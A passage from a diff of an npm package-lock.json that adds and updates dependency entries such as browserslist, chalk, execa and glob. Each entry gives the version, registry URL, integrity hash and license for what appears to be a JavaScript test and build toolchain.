"sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.25.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz", + "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "caniuse-lite": "^1.0.30001726", + "electron-to-chromium": "^1.5.173", + "node-releases": "^2.0.19", + "update-browserslist-db": "^1.1.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bs-logger": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/bs-logger/-/bs-logger-0.2.6.tgz", + "integrity": "sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-json-stable-stringify": "2.x" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001726", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001726.tgz", + "integrity": "sha512-VQAUIUzBiZ/UnlM28fSp2CRF3ivUn1BWEvxMcVTNwpw91Py1pGbPIyIKtd+tzct9C3ouceCVdGAXxZOpZAsgdw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/ci-info": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.2.0.tgz", + "integrity": "sha512-cYY9mypksY8NRqgDB1XD1RiJL338v/551niynFTGkZOO2LHuB2OmOYxDIe/ttN9AHwrqdum1360G3ald0W9kCg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.1.0.tgz", + "integrity": "sha512-UX0OwmYRYQQetfrLEZeewIFFI+wSTofC+pMBLNuH3RUuu/xzG1oz84UCEDOSoQlN3fZ4+AzmV50ZYvGqkMh9yA==", + "dev": true, + "license": "MIT" + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clone-deep/node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/collect-v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", + "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true, + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/dedent": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.6.0.tgz", + "integrity": "sha512-F1Z+5UCFpmQUzJa11agbyPVMbpgT/qA3/SKyJ1jyBgm7dUcUEa8v9JwDkerSQXfakBwFljIxhOJqGkjUwZ9FSA==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "babel-plugin-macros": "^3.1.0" + }, + "peerDependenciesMeta": { + "babel-plugin-macros": { + "optional": true + } + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-newline": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.178", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.178.tgz", + "integrity": "sha512-wObbz/ar3Bc6e4X5vf0iO8xTN8YAjN/tgiAOJLr7yjYFtP9wAjq8Mb5h0yn6kResir+VYx2DXBj9NNobs0ETSA==", + "dev": true, + "license": "ISC" + }, + "node_modules/emittery": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", + "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/execa/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/exit-x": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/exit-x/-/exit-x-0.2.2.tgz", + "integrity": "sha512-+I6B/IkJc1o/2tiURyz/ivu/O0nKNEArIUB5O7zBrlDVJr22SCLH3xTeEry428LvFhRzIA1g8izguxJ/gbNcVQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expect": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/expect/-/expect-30.0.3.tgz", + "integrity": "sha512-HXg6NvK35/cSYZCUKAtmlgCFyqKM4frEPbzrav5hRqb0GMz0E0lS5hfzYjSaiaE5ysnp/qI2aeZkeyeIAOeXzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/expect-utils": "30.0.3", + "@jest/get-type": "30.0.1", + "jest-matcher-utils": "30.0.3", + "jest-message-util": "30.0.2", + "jest-mock": "30.0.2", + "jest-util": "30.0.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/fast-content-type-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-3.0.0.tgz", + "integrity": "sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.2.11", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", + "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/flow-parser": { + "version": "0.263.0", + "resolved": "https://registry.npmjs.org/flow-parser/-/flow-parser-0.263.0.tgz", + "integrity": "sha512-F0Tr7SUvZ4BQYglFOkr8rCTO5FPjCwMhm/6i57h40F80Oz/hzzkqte4lGO0vGJ7THQonuXcTyYqCdKkAwt5d2w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.6", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", + "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/foreground-child": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz", + "integrity": "sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, "engines": { "node": ">=10" }, @@ -1297,339 +3266,311 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/caniuse-lite": { - "version": "1.0.30001703", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001703.tgz", - "integrity": "sha512-kRlAGTRWgPsOj7oARC9m1okJEXdL/8fekFVcxA8Hl7GH4r/sN4OJn/i6Flde373T50KS7Y37oFbMwlE8+F42kQ==", + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - 